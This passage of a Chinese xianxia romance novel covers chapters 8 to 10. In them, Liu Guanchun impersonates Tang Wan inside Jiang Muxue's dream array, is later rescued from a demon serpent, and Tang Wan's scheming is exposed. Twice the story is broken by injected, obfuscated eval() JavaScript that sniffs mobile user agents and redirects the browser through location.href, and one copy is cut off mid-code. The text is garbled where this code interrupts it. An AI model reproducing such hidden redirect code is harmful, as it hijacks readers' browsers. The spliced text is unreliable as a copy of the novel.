有那么一瞬,他好似明白了,为何柳观春每每见到陪练的师兄就欣喜若狂;为何对他这样寻常的陪练弟子也百般讨好;为何受到伤害,被江暮雪用本命剑搡开,她也半点脾气都不敢有。 若柳观春那样卑微,任人推搡、任人踩踏、任人辱骂,都算是行事太过任性……那她的日子,未免也过得太苦了些。 8. 入内门(八) 第八章 柳观春有点神志不清。 她浸在灵域的风雪中,想起了一些过去的事。 那时,柳观春陷进迷魂梦阵。 她被寒冷的霜雪冻得瑟瑟发抖,只能在漫天飞雪里四处寻找江暮雪的身影。 很快,她找到了他。 端坐在雪丘最上方的剑君。 白衣飘曳,伏雪剑光芒大盛,他仿佛木胎泥塑的一尊神像,屹立在此地千年万年,久久不动。 柳观春瑟缩在江暮雪身旁,因他的体温虽冷,却有柔和的灵气流转,能够护住柳观春不被寒气侵体。 这个迷魂梦阵随江暮雪的心意变幻。 有时候,雪地会不复存在,反而成了一片血流漂杵的城池宴台。 而江暮雪身材矮小,脸蛋稚气,他站在其中。 四周都是横七竖八的尸体,他们都是江暮雪这个人皇之子的奴仆,但他们对江暮雪忠心耿耿,却最终只能任由皇贵妃开膛破肚,博她一笑。 年仅七岁的江暮雪被绑在炭火烧红的铜柱上,他垂下眼睫,没有反抗。 围观的群臣一心要看这位生来不凡的皇子是如何挣脱炮烙,也无人为他求情。 高座上,生着九条毛茸茸长尾的皇贵妃娇笑一声,她拥着老迈的帝王喝酒,吩咐奴隶们动手行刑。 江暮雪的肩背都被火柱灼出黑烟,但他依旧抿唇不语,无惊无惧。 这样生性淡漠,真是天道钟情的好根骨。 皇贵妃没有被取悦,反倒害怕江暮雪日后入道仙宗,修为暴涨,会来取她的性命。 她咬碎一口尖牙,吩咐奴隶焚火烧人。 后来,江暮雪是如何逃出生天,又如何被唐玄风捡回宗门,这些事柳观春一概不知。 她知道的是,江暮雪的从前,好像也并非一帆风顺。 许是见过江暮雪入宗前的惨状,柳观春也有过那种无助的时刻,她很能感同身受,因此即便她顶着唐婉的脸,待江暮雪时,也掺杂了几分真情。 柳观春受江暮雪照顾,每日她睡醒,脚边必有备好的干粮、灌满水的羊皮水囊。 柳观春投桃报李,也会帮沉睡的江暮雪打理仪容。 她毕恭毕敬地对前辈行礼,然后拆下江暮雪的发冠,取出随身带着的桃木梳子,为他一点一点梳头发。 师兄的头发柔软、细长,通头发不需要多用力,就能把每一根发丝都梳得乌润笔直。 柳观春极有耐心地照顾了江暮雪半年。 半年后的一日,江暮雪睁开了眼睛。那一双凤眼的睫毛很长,抖动时,如蝴蝶振翅。 他的神色幽冷,凝望柳观春时,迟迟没有说话。 柳观春不知迷魂梦阵里的修士会是什么样的,她疑心江暮雪掉了心魄,兴许连记忆都失去一些。 她来梦阵中,不就是为了唤醒江暮雪,引导他走出梦阵吗? 柳观春想到唐掌门要为江暮雪和唐婉二人订婚的事。 她说:“师兄,我是你的未婚妻唐婉。” 江暮雪颔首,没有多说什么。 柳观春以为江暮雪生性冷淡,她拿捏不准他的脾气,又希望江暮雪能更加信赖她。 思来想去,她主动握住江暮雪的手。 她感受到江暮雪的臂骨僵硬,凤眸中略带惊讶。 柳观春摸了摸鼻尖,她笑道:“既是未婚夫妻,那我们便是世上最亲近之人。牵着师兄走,我会安心许多。” 江暮雪沉默无言,他想了很久,还是纵容了柳观春的任性妄为。 柳观春知道,这是江暮雪作为阵眼幻化出的梦境,随他的心意而动,他有能力更变幻境里的一切。 于是,柳观春故意装作惊讶地说:“师兄,我们的家在哪里?” 江暮雪思考一会儿,望向远处。 很快,高原雪域的风雪停止,草木茂盛的山丘,出现一栋狭小的草庐。 柳观春牵着江暮雪走近那一座小屋,一时无言。 她怎么都没想到,江暮雪原来也只会盖这种简陋的小屋,简直和她在妖域里住的那一间一模一样。 就连睡榻都是鲸骨制成的! 柳观春盯着那一张只够一个人睡的小床,犹豫许久,还是忍不住说:“这张床,好似只够一个人睡?” 柳观春本能觉得,床榻这样的风水宝地自然要让给大师兄的。可她还没筑基,才刚刚引气入体,她畏寒怕饿,也实在不想睡在地上。要是江暮雪能再变出一张床就好了。 可江暮雪只是看了她一眼,凝神细思,转眼间,屋里的小榻变宽,成了能睡下两人的床。 柳观春盯着那张任她竖躺横躺都能施展拳脚的床榻,心中领会了江暮雪的意思。 他是要与她同床共枕。 柳观春迟迟不说话,江暮雪冷眼睇来:“不妥?” 柳观春想着,唐婉好歹是江暮雪的未婚妻子,兴许修士行事奔放,他们在内门之中,早就同床共枕,共处一室了。 她要扮演好唐婉,若是这时拒绝,岂不是露出马脚? 柳观春做好心理准备才来的这个幻境,又怎能半途而废。 她摇摇头:“没有,这样很好。我、我亦想和师兄一块儿睡觉。” 说完,柳观春的耳朵滚沸,脸上也有点烧。 屋子有了,柳观春又看一眼被厚雪覆盖的山色,她故意感叹一句:“冬天不好抓小兔、山鸡,恐怕连一口好吃的荤肉都没了。” 话音刚落,屋外的雪絮,转瞬间消融,山林万物复苏,郁郁葱葱,又是一片生机勃勃的春景。 柳观春心中欢喜,不免感慨,江暮雪果真很疼爱唐婉,对她几乎是有求必应。 柳观春来得太匆忙,根本没有时间去了解唐婉的一言一行,她连唐婉的日常饮食偏好都不知道,生怕在江暮雪面前显露端倪。 每次,柳观春夹菜,都会事先看江暮雪一眼,见他脸上无异色后,她又颤巍巍地问:“我应该爱吃这个吧?” 柳观春指了指那一碟梅菜干肉。 江暮雪瞥向她,为她夹了一块肉。 等油润的酱肉堆在碗边,柳观春料想唐婉应该是爱吃这个的。 好吧,肥肉软嫩可口,正合她心意,柳观春高兴地端碗,大快朵颐。 遇到下一碟酸辣蘑菇凉拌铃木耳,她又问:“这个……我从前是不是也很爱吃?” 柳观春故意说“从前”,那么不管爱不爱吃,她都能用“现在口味不同”的理由,糊弄江暮雪。 江暮雪又看她一眼,不动声色地夹一筷子,堆在她的饭尖尖上。 柳观春得意地想,她应该蒙得不错,又对了一次。 一顿饭下来,柳观春吃得肚皮滚圆。 她下意识要帮江暮雪洗碗,男人却已经先她一步,端走了吃净的碗碟。 凡事都有江暮雪照顾,柳观春只需在一旁和师兄说说话便是。 人间会洗衣做饭的男人不多,大多数人都是把这些家务琐事丢给家中妻子处理。老实说,江暮雪这样上得厅堂下得厨房的男人,简直就是凤毛麟角。 柳观春都有些羡慕唐婉了,她竟有这样贤惠的师兄,婚后的日子必定和和美美。 夜里,柳观春洗净头和脸后,想到从今往后,她要和江暮雪睡在一张榻上。 她不知唐婉和江暮雪究竟到了哪一步,若是睡前也有那些男女之间的亲昵事,她该如何拒绝? 倘若抵抗太甚,让江暮雪意识到眼前的人并非唐婉,那他会不会永远受困梦阵之中? 柳观春并不想害死江暮雪。 对于他们这些修士来说,幻境里的种种都是虚像,是假的,是可以随意丢弃的记忆,不必太过挂心。 柳观春如此在意,不过是因为自己的修为太低,不得已才用肉.身入境,等她修为再高一些,能够神识出窍,到时候去各个法阵办事,就不会这么狼狈了。 柳观春愁眉不展,很快她感到小腹疼痛,跑到茅房一看,心里又喜又忧。 竟是来了癸水。 只是幻境中,柳观春又能去哪里买月事带?偏偏手边也没有破布条供她缝制月事带。 柳观春坐在榻边,一脸的难言之隐。 沐浴回来的江暮雪看她一眼,问:“怎么?” “我、我的小日子来了。”柳观春难以启齿地开口。 江暮雪难得发怔,他薄唇轻抿,柔和地问:“可有备好月事带?” 柳观春惊讶地抬眸,先是诧异江暮雪了解女子闺房之事,又是诧异他竟会坐下,割开绸袍,为她取草木灰,小心缝制月事带。 后来一想,许是唐婉身体不便的时候,都承蒙江暮雪悉心照顾。 是她沾了唐婉的光,竟也分得一些师兄的柔情。 夜里,两人入睡,皆是平躺在床上。 中间还空着一条缝隙,彼此泾渭分明,太过生疏。 柳观春的痛经缓和上许多,她想起唐玄风掌门的话,要想迷魂梦阵里的人找回心魄,单是亲朋好友入境还不够,还得让对方感受到浓烈的爱,或是浓烈的痛,如此才有大梦初醒之感,方能安然无恙回到现实。 想到这里,柳观春转身,轻轻贴向江暮雪的手臂。 她忍住那种鸠占鹊巢的耻意,尽量放柔声音:“师兄,我肚子受凉,腰疼,你能不能帮我揉揉?” 江暮雪久久没有动作。 柳观春疑心他已经睡着了,小心翼翼又爬回自己原先的位置。 可没等她老实躺好,一只肌理结实的手臂,忽然横上她那纤细的腰肢。 柳观春感受到渐渐靠近的热意,眼睫扑闪扑闪地眨动。 很快,男人的指肚轻轻碰上她的小腹,暖和的灵力自手指,一路涌进她的四肢百骸。 柳观春手脚热起,她犹如扑火的飞蛾,下意识趋向热源。 她主动钻进了江暮雪的怀里。 男人的怀抱弥漫雪松气息,干净而清冽,又带点草木的清苦。 很香很香。 她很喜欢,睡得亦很沉。 一夜如此,夜夜如此。 柳观春渐渐习惯幻境中的日子,她和他同吃同住,一年四季都住在一起。 有时,他们还会下山,去热闹的集市里采买物资。 柳观春提议家门口可以种一棵苦楝树,等到四五月,树上会长出一连串淡紫色的花,很好看。 江暮雪静静听着,然后和小贩买了一棵树苗。 买完以后,他继续挑选那些能够御寒保暖的皮草、棉料。 柳观春身上还沾着凡气,她畏寒怕冷,每到冬天,被褥里必须塞着汤婆子,屋里也要烧炭盆,除此之外,她还会习以为常地钻到江暮雪怀里,恳求善心肠的大师兄为她暖身子。 江暮雪人虽冷淡,却很擅长缝制衣物。 他亲手给柳观春做了一顶棉帽、棉靴、兔毛围脖,以及厚实的小袄,暖和还不够,还要衣襟绣满白色的栀子花。 就连柳观春也后知后觉反应过来,她好像……仗着师兄对唐婉的喜爱,太欺负他了。 至于幻境里为什么会有凡人……柳观春想,这些人间的画面,兴许是江暮雪过去的一段记忆留影。 那些村民把江暮雪和柳观春当成一对隐居深山的未婚小夫妻,时常在江暮雪买菜时,打趣地问:“你们何时成亲啊?记得要给我们发喜糖,请我们喝喜酒!” 江暮雪鲜少说话,被问得多了,慢慢会答上一句。 “快了。” 快成亲了。 “一定。” 一定请诸位吃酒。 - 在幻境里的第四年,柳观春意识到,她不能太过贪恋这份温暖,强行把江暮雪留在这里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152047|164856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>江暮雪是唐婉的未婚夫,她要知分寸,不能再继续混日子,过一天是一天。 江暮雪迟迟没有醒转的迹象,迷魂梦阵也稳定到不行。 柳观春想,或许是他的执念还没完成。 江暮雪的执念是什么?可能是和唐婉成婚。 在那一刻,柳观春的心里,涌起了一丝酸酸涨涨的感觉。有点苦涩,有点无奈,有点难堪,也有点疼痛。 她说不上来,只是觉得愧疚。 她是不是变成了一个很坏的人? 她怎能抢走江暮雪? 她只是一个替身,是一个要时刻清醒,不能沉沦的唐婉的替代品。 在这天夜里,柳观春脸色苍白地对江暮雪说:“师兄,我、我们成亲吧?” 江暮雪静静地看着她,问:“是你所愿?” 柳观春笑着颔首:“自然。” 这是唐婉的意愿,也是师兄的愿望。 她只是一个不配拥有名字的旁观者。 “好。”江暮雪同意了。 柳观春如释重负。 她想,她应该也是欢喜的。 成亲那日,桃花瓣漫天飞舞,不知是否早春的缘故,霞光中隐隐有飞雪轻扬。 江暮雪果真践诺,他邀请那些村民来参加婚宴,还请了镇子里的大厨,摆了一整天的流水席。 柳观春穿着华贵的嫁衣,头上蒙着一块金红线缝制的艳红盖头。 她的指甲也涂了红彤彤的花汁,双手蜷缩在膝上,不安地紧握着。 妇人们在旁恭贺—— “早生贵子!百年好合” “生个大胖小子!” “哎呦,公子英俊,小姐貌美,你们真是天造地设的一对!” 随后,声音散去,男人清晰而缓慢的脚步声逐渐响起。 柳观春嗅觉灵敏,她闻到一股浅淡的酒味,惊讶地问:“师兄,你喝酒了?” “嗯。”低低的一声,男人的嗓音清淡好听。 柳观春还在思考,无情道剑者会戒断五欲,他鲜少喝酒,也受守元印的束缚,不能与人行房事。 可江暮雪为了和唐婉成亲,竟这样不管不顾,什么清规戒律,统统破了个干净。 他眉心的元印还在,应该没有同唐婉行房。 那么,他今夜的初次,会给了柳观春吗? 柳观春的心脏扑通扑通乱跳,她安抚自己,只是幻梦,毁不了师兄的道心,也破不了他的守元印。 只是她有点惨了,她是真身入梦。 那些江暮雪的痕迹,都会逐一留在她的身体。 柳观春还在六神无主,冰冷的指骨却已经擒住她的下颌,逼迫她抬起头来。 柳观春抬眸,看到被一团鲜红喜袍裹住的男人。 江暮雪吃了酒,眼尾潮红,衣襟微开,雪一样白皙的胸膛,劲瘦有力的窄腰,被一条细带束住。 柳观春知道他的力气多大。 她低下头,很不合时宜地想到“公狗腰”这个词。 将强悍的腰力和师兄联系在一起,好像有些冒犯的意思。 柳观春脸色更是煞白,急忙把不好的念头从脑中拍出去。 可是,那样修长的指骨,沿着她的下颌,渐渐到了后颈。 兜衣的红带子抽开,一条窄红落下,柳观春有点神志不清。 没一会儿,江暮雪的吻,落在她赤着的肩头。 柳观春受了惊,她瞪大眼睛,犹如溺水的人,无措地抓住江暮雪的衣袖。 她企图散去身上的热。 可最终,柳观春发现,师兄竟也有一日,会比她更热啊。 …… 那些岁月,那些时日,一幕幕留在柳观春的脑海中。 直到幻境碎裂,柳观春从记忆里抽离。 她举目望去,只看到漆黑一片的山林,仰天咆哮的妖蛟。 方才的事,只是一场梦,一场早被江暮雪遗忘的回忆。 就算师兄记得,他也只以为,梦中的人是唐婉。 他和唐婉情投意合,郎才女貌,十分登对。 她是个横插一足的小丑,她不能一错再错。 可是,这里好冷啊。 柳观春瑟瑟发抖。 她想,现实与幻境的落差竟如此的大。 柳观春的脑袋运转不了,整颗头都是钝钝的,这具身体好似要肌骨分离,皮是皮,肉是肉,她会变成白骨骷髅,什么都会舍了去。 柳观春知道自己快死了。 她化为一抔泥,永远葬在这个毫无人情味的修仙世界。 她不甘心,她恐惧,她生不如死。 柳观春一抬头,又看到熟悉的身影。 白衣乌发,衣冠楚楚,眉心一点胜血的红印,剑眉凤目,冷若冰霜。 这样冰清玉洁的人,竟朝她走来。 为什么呢?柳观春很努力思考,百思不得其解。 一定是梦吧,是她还陷进回忆里没能抽离。 许是死亡太过痛苦,柳观春竟对江暮雪又生出了一重熟悉的依恋。 她的眼泪扑簌簌地落,她自知没人在意她的委屈,所以从来不哭。 可是,柳观春好疼啊,她的筋脉全部断了啊。 她像个讨糖吃的孩子,固执地朝江暮雪伸出手。 她不知道为什么,在弥留之际,会这样渴望师兄温暖的怀抱。 或许是因为,在这个世界,只有江暮雪给过她渴望的温暖。 柳观春听到自己对那个高大的身影说话。 她说—— “师兄,我想回家。” “师兄,求你……抱抱我。” “师兄,你带我回家,好不好?” 可是,柳观春心知肚明,在这个冰冷的世界,她没有家。 她其实,永远都回不了家了。 9. 入内门(九) 第九章 江暮雪赶到忘忧林时,妖气已经浓郁到遮天蔽日的地步。 蛇尾缠绕的中心,缚着一个臂骨几乎要被勒断的少女。 她仰着颈,一双杏眼瞪得既大又圆,檀口微微张着,漫出来的鲜血几乎濡湿了前襟。 柳观春那样的瘦弱,不知是天生的,还是没有好好吃饭,脊背的骨珠都突起,身上没有二两肉,仿佛轻轻一拥就会碎成粉末。 妖蛟施加了缠绕的力道,若非有她的灵域相护,恐怕柳观春已成一滩肉泥。 柳观春虽然有一口气在,可蛇鳞锋锐无比,刮擦在女孩细嫩的雪肤上,宛若千刀凌迟,定是痛不欲生。 偏偏,柳观春生生受着,无助到了极限,连哭声都没有。 豆大的眼泪一颗颗顺着少女的眼角滚落。 人被逼到绝境的时候,是不会哭出声的。 在那一个瞬间,江暮雪的凤眸微缩。 一种难以承受的刺痛,涌上他的心腑。 江暮雪登时胸口闷疼,唇角溢出一丝鲜血,眉心守元印绽开光芒,忽明忽暗。 这是心生挂碍,误了道心。 想来只是对柳观春的怜悯太甚,他才会有一瞬迷茫。不过是修仙途中的小小试炼,江暮雪并不在意。 只是那种缠绵的痛感还留在胸腔里,极其扎人,存在感强烈,令人难以忽视。 江暮雪割舍不去,索性不再管它。 天地间,一道冰寒至极的法印自江暮雪袖中打出,精准地袭向妖蛟。 妖蛟似是被那股更为强大的风雪灵域震慑,它斯斯两声,转过头来。 在看到江暮雪的一瞬间,妖蛟的竖瞳放出刺眼的红光,蛟口大张,分叉的蛇信像一块浸血的红毯,在它的血盆大口中狂舞。 它猛地抛下柳观春,扭曲庞大的身躯,朝江暮雪袭来。 眼见着柳观春犹如一张废纸,被妖物轻飘飘丢开,江暮雪迅速并指,又飞出一道萦绕盐霜的剑影,稳稳地托住了柳观春。 待柳观春被江暮雪的剑网裹住之后,他总算能够放开手脚,与妖物大战。 妖蛟不愧是千年老妖,它释出的妖风强劲。不过一声蛇啸,转瞬间幻化出好几个巍然如山的蛇形幻影。 这是妖蛟的绝技——化龙阵。 也是妖兽的生死之阵。 妖蛟宁愿浪费百年修为滋养此阵,也要将夺走自己内丹的江暮雪,困死在这个杀阵中。 它恨江暮雪多年,恨到即使知道内丹在另外一个女修身上,但它还是放她回去通风报信。 只要能诱江暮雪入阵,什么样的牺牲都可以。 可偏偏,来的人并不是江暮雪。 是一个……拥有江暮雪气息的废物女修。 妖蛟的智力不高,它并不能理解柳观春身上为什么会有江暮雪的气味,但它知道,那是一个不堪大用的女子,兴许只是江暮雪派来的傀儡。 可江暮雪愚蠢,为了一个傀儡,竟亲身入阵。 妖蛟兴奋地斯了一声。 而化龙阵中的江暮雪,总算感受到异样之处。 此阵幻化出来的几个蛇影,竟然都不是一捏就碎的幻象,而是继承了妖蛟力量的分.身! 江暮雪没有退缩。 事已至此,他只能展开雪灵域,以伏雪剑破局。 江暮雪手中旋开本命剑,霎那间,伏雪气势大盛,散出七八道光束,结出阵法。 如烟迷蒙的雾霭中,阵法中心,幻化出一颗银色灵珠。 银珠爆开白色的烟尘,将御剑的江暮雪裹入其中。杀气涌现,戾气横生。 几个罡风形成的巨大柱形旋涡,迅速拧成一条雷龙,带着雷霆之势的响动,袭向蛇影。 “轰隆!” 山崩地裂,沸天震地。 妖蛟的阵眼一触上那道惊雷,竟瞬间崩毁。阵法四分五裂,那些地缝里很快漫出猩红色的鲜血,沾上江暮雪的白净衣袍,一缕缕侵进衣布经纬,企图拉他沉沦。 但江暮雪如何能如妖蛟的心意? 他并指运剑,召出泱泱剑气,其势之大,竟能气吞山河。 江暮雪早就练至人剑合一之境,即便手中不持剑,他仍能驱剑降魔。 只见鹤骨松姿的男人不过凌空跃步,扬袖挥下,伏雪剑竟也能感应到主人的出招,迅速分成数把光剑,刺进妖蛟粗壮的身躯中。 妖蛟被寻到命门,瞬间僵直。 待伏雪剑回到主人手上,那一条妖蛟如同漏气的球,登时瘪了下去。 “哗啦”一声,无数妖气从那一层皮囊里涌出,融进这一片妖域,成为滋养山精草木的养分。 万千妖相化为烟尘,唯有一颗内丹烨烨生辉,徐徐落至江暮雪的掌心。 - 被茧子包裹的柳观春仍在昏睡。 她的视线模糊不清。 有时能看到东西,有时又像瞎了似的,目光所及之处唯有漆黑一片。 柳观春强迫自己维持清醒,她感受到体内的灵气在逐渐流失,她筑基的境界在缓慢坍塌。 她得到的东西,又逐一失去了…… 柳观春仰望着夜空,一言不发。 从前待在妖域生活的时候,她也常常会仰头看星星。 一颗、两颗、三颗。 她在数,天上究竟有几颗星星,北斗七星又能不能指引她回家。 柳观春低头,这一次,她居然看到江暮雪了。 师兄一身血衣,朝她走来。 男人眉心的守元印灼灼生辉,像一面无瑕的镜子,照出她的不堪、狼狈、不知廉耻。 柳观春艰难地滚动喉头,吞下一口血沫。 她说了很多不堪入耳的话。 她应该很讨江暮雪的嫌。 可柳观春不知悔改,她还是执拗地伸手,不知是想要抱住江暮雪,还是拉扯他的衣袖。 师兄、师兄很爱干净。 柳观春看了看自己的手掌,到处都是泥土和血液,她难过地想,她好脏啊。 柳观春腼腆地缩回手。 她疼得厉害,却呓语一般,尝试和江暮雪撒娇。 柳观春应该快死了,所以是最后一次,她想要这样依赖江暮雪。 人死为大,师兄不会怪罪,更不会生气。 柳观春想,她只是从来没被人抱过,在幻境里的七年,江暮雪是唯一抱过她的人。 她依恋他,情有可原。 柳观春好冷啊,她瑟瑟发抖。 她想像以前那样,让江暮雪给她取暖。 能不能允许她留在师兄的怀里。 一会儿就好。 她会很快闭眼,她不会再给任何人添麻烦。 “师、师兄……”柳观春喊他。 江暮雪似乎怔了一下,但他还是单膝跪地,倾向柳观春。 直到重伤的师妹,将那两根纤细的藕臂搂住江暮雪的脖颈。柳观春缠得实在很紧,就连脸颊也贴向他的胸口。 江暮雪不喜人亲近,甚至是抵触旁人靠近自己。况且,柳观春身上血气很重,其实并不好闻。 但奇怪的是,他没有推开柳观春。 江暮雪垂眸,给自己找了一个理由。 兴许是对柳观春伏魔的奖励,他会不自觉待她态度温和。 柳观春碰到江暮雪了,她忍不住肩膀发抖,疑心是梦。 直到她听到男人隆隆的心跳,脑袋懵了懵。假的师兄,也会有心跳吗? 柳观春受伤太重,她连现实和幻境都分不清了。她只能看到自己的衣裳是红的,江暮雪的衣裳也是红的,还以为自己回到了成亲的那一日。 那天,江暮雪喝了很多酒,可身上的气息还是冷冽如松,香香的。师兄对她很温柔,她溺在他的眼里,有些无所适从。 直到最后,她哭都不敢哭,只是一直抱着师兄。 …… 柳观春呆呆的,她抬头看江暮雪,一边落泪,一边从牙缝里挤出一句。 “师、师兄,你带我回家好不好?” 江暮雪低头,冷淡的眼眸里,唯有困惑。 他看着柳观春暗藏欢喜的杏眼,又看着她无声掉眼泪,他不明白她为何又哭又笑,又惊又喜。 回家?回哪个家?是指回到玄剑宗吗? 江暮雪抱起她,御剑上天。 待冷风吹拂人脸,妖域山林变得渺小如蝼蚁,柳观春还是维持这一个动作,仰望着他。 她仍在傻傻地等他的答案。 好似他不开口,她绝对不低头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江暮雪不可能用神识进入柳观春的身体,神识入体,即为神交,那是道侣之间才会使用的双修之术。 但他可以隔着丹田,用传输灵力的方式,直接探知柳观春的灵根所在。 只要不是运用灵力肆意在经脉里游走,蓄意探查柳观春的身体,就不会触发外人在她体内设下的防御机制。 自从前几次在卷轴里教授柳观春剑术开始,江暮雪便有察觉,她和自身的雪灵根没有半点默契度,甚至用剑也无法召出灵域,为自己增添剑势。 起初,江暮雪只当她是初初筑基,并不熟悉灵域的运用。 再后来,江暮雪发现,唯有柳观春陷入生死攸关之时,雪灵根才会爆发,创造出一个能助她一臂之力的强大灵域。 也就是说,柳观春的雪灵根气息微弱,并没有真正扎根在她的灵域之中,与她相融……那不是柳观春自己孕育出来的灵根。 有人将自己的灵根,削出一截,强行植在柳观春的丹田之中,助她开域筑基,甚至是遇到危险时,能够展开灵域,保护自己。 可灵根分植之术太过禁忌,分出灵根的那名修士,还会耗损大半自身的修为。 修士重视修为境界,谁又舍得这样庇护旁人?便是道侣,也未必肯将修为分给爱人。 柳观春倒是得人偏爱,有大能愿意自毁境界,用以护她周全。 可看柳观春懵懵懂懂的样子,她分明对此毫不知情…… 江暮雪收回长指,不再冒犯师妹。 只是,当他知道,宗门之中,还藏着其他生出雪灵根的修士,且将自己的行踪藏匿得如此之深,甚至在柳观春不知情的情况下,把雪灵根强硬地植进她体内……诸般事迹,莫名令江暮雪感到不快。 江暮雪指骨微动。 他想,他会不满,与柳师妹无关。 是江暮雪素来天赋异禀,也有逸群之才的美名。如今知道,宗门里卧虎藏龙,原来也有其他人开出雪灵根,境界修为足以和他比肩…… 江暮雪一贯警惕,今日只是心生忌惮罢了。 10.入内门(十) 第十章 江暮雪深得天道喜爱。 每次回到宗门,剑冢里的上古神器都会铮铮作响,发出敲金击石的剑吟,热络相迎。 今日,剑光大作,霞光铺满天幕,竹林碧水皆是披上一层金芒。 江暮雪御剑飞来,肩背挺拔,衣袍被风吹得猎猎作响,清丽俊逸。 男人颀长的身影出现在山门口。 诸位内门弟子纷纷仰头观瞻。 他们都收到过柳观春发出的纸鹤,可这些弟子的道行不够,不敢去和大妖厮杀,以免受伤掉阶。 得知大师兄出马不过一个时辰,就能一击必杀,就地解决千年大妖。一时间,弟子们既敬佩又羡慕,围观的后辈挤满了整个山门。 唐婉闻讯,也坐车赶来。 她远远看到江暮雪挟光而来。 伏雪剑幻化出遮风挡雨的剑茧厚重,拢住江暮雪怀里抱着的那一名少女,不让风雪侵扰她。 女孩气息奄奄,身上的衣裙被早已发黑的血迹浸透,她乖巧地卧在师兄怀中,一手揽住江暮雪的脖颈,另一手软趴趴地垂落,像是没有生气的样子。 那是身受重伤的柳观春。 江暮雪一手托住柳观春的膝窝,一手扶住她的窄背,就这么稳稳地横抱起她,他抱着柳观春行了一路,将她送回宗门。 江暮雪神情平静无波,看不出喜怒。 但他何时有过这样体贴的时刻,竟能容忍柳观春口鼻漫出的血,全落在他素洁的衣襟。 柳观春……弄脏了大师兄。 这怪诞的一幕,尽数落进所有在场弟子的眼中。 他们纳罕之余,亦有隐隐的嫉妒,细微的震惊,甚至有女修幸灾乐祸地瞥向飞云车上的唐婉。 唐婉依旧面不改色,她故作镇定地上前,担心地问:“大师兄,师妹是不是伤得很重?” 江暮雪低头,将唐婉担忧的表情尽收眼底。 他许久不说话,一双墨瞳既静谧又深沉,仿佛能看到人的心底。 唐婉不由做贼心虚地后退半步,她紧咬下唇,低声问:“要不要我请人来照顾师妹?师兄可以把她交给我,我定会尽心照料……” 唐婉使了个眼色,惯常照顾她的凡仆便躬身上前,想要接过江暮雪手上的女孩。 江暮雪却没有从命,他错身,挪开半步,避开了伸出的那双手。 江暮雪压低了声音,问:“妖蛟能这么快恢复实力,是否因你喂了它一碗精血?” 唐婉的剑骨剔除,不能再进行修炼。对于她如今这具比起凡人好不了多少的躯体来说,任何一滴精血都弥足珍贵。 可她却将骨血赠给妖蛟,助妖物恢复功力。 此举可以称得上是恶毒,她不喜柳观春,却一心想将柳观春置于死地。 江暮雪并不能理解唐婉的恨意从何而来,毕竟柳观春一直是寂寂无名的外门弟子,在进内门之前,和唐婉甚至连面都没见过。 可他看到伤痕累累的柳观春,却仍想问唐婉一句:“为何伤她?” 唐婉知道,师兄聪慧,为人清正,他可以待恩人之女多有包涵,却不会纵容她祸乱仙宗…… 此前唐婉诱魔入宗的事,已是引起宗门众怒,若非长老们卖父亲唐玄风一个面子,齐心协力将内情压下去,否则内门的弟子知道真相,定不会轻易放过唐婉。 唐婉不能再犯错了。 她也不可能告诉江暮雪,她伤柳观春,急于除掉柳观春,完全是出于嫉妒……她被魔尊苏无言抛弃了,她剔除剑骨,回到玄剑宗,她一无所有,不能再失去江暮雪了。 否则,唐婉会变成彻头彻尾的输家,会成为全宗门的笑柄。 她不要! 唐婉不能说出柳观春的所作所为,虽然她觉得,大师兄冰魂素魄,金昭玉粹,他这样圣洁的人,定也不耻柳观春在迷魂梦阵中的所作所为。 毕竟柳观春那样的奸诈,她毁他的道心,剥他的衣冠,污他眉心那颗清洁的守元印…… 可唐婉还是怕那万分之一的可能。 万一江暮雪知道真相并不动怒。 万一江暮雪知道他怀里的女人,曾和他做过七年的夫妻。 万一江暮雪曾经也喜欢柳观春呢? 唐婉脸色煞白,魂不守舍。 她不肯说出原因,江暮雪也不会深究。 江暮雪道:“我欠师尊一命。少时,我与你结同心咒,在危情之时,护过你两次,如今同心咒已毁,算是还了师尊的教养之恩。” “今日,你残害同门,罪无可恕,念你身体孱弱,受不得鞭刑,我会将此事告知师尊,由他发落,但这次袒护,已是尽了你我师兄妹的情分,还望你往后好自为之。” 江暮雪以传音术,将声音灌入唐婉的耳朵,没有当众言明,已是顾及她的脸面。毕竟自幼一起长大的师兄妹撕破脸皮,会让旁人看笑话。 唐婉目瞪口呆,她支支吾吾了一句:“师、师兄……” 但江暮雪已转身离去,他去的方向,竟是修行时常待的绝情崖。 绝情崖常年飞雪,能够蕴养他的雪灵根,而此地灵气充沛,设有禁制,等闲弟子根本不能入内,也打扰不到他和柳观春。 如此私密的地方,江暮雪竟将柳观春带去了…… 唐婉失魂落魄,手指紧紧攥住衣裙,她能感受到江暮雪已经不可控了,他不再是从前那个任她予取予求的兄长。 她得想个法子。 只要没了柳观春,一切事情都会回到正轨! 唐婉如梦初醒,她假意下山,去修士爱逛的集市购买法器,实则是带着魔尊苏无言的信物,到苏无言陨落的地方碰碰运气。 唐婉记得,苏无言说好了要带她私奔,从此往后二人结为夫妻,白头偕老,永不分离。 待苏无言称霸幽冥,合并仙宗,打通两域,他会成为修仙界至高无上的帝君,而王后的位置,自然会留给陪伴他完成大业的唐婉。 届时,唐婉再回到玄剑宗,她就不是骂名缠身的叛徒,她将是最尊贵的宗女魔后。 然而,苏无言率领魔物攻进玄剑宗,他与江暮雪对招几日,确信江暮雪就是他要寻的人,可轮到唐婉,苏无言一反常态,他不再温柔可亲,反倒是皮笑肉不笑地问了她许多问题。 问她记不记得前世,问她有没有养过猫。 得到唐婉否定的答案后,苏无言又问她:那么你知道为什么炸鸡要配可乐?为什么辣酱炒牛肉是人类猫条? 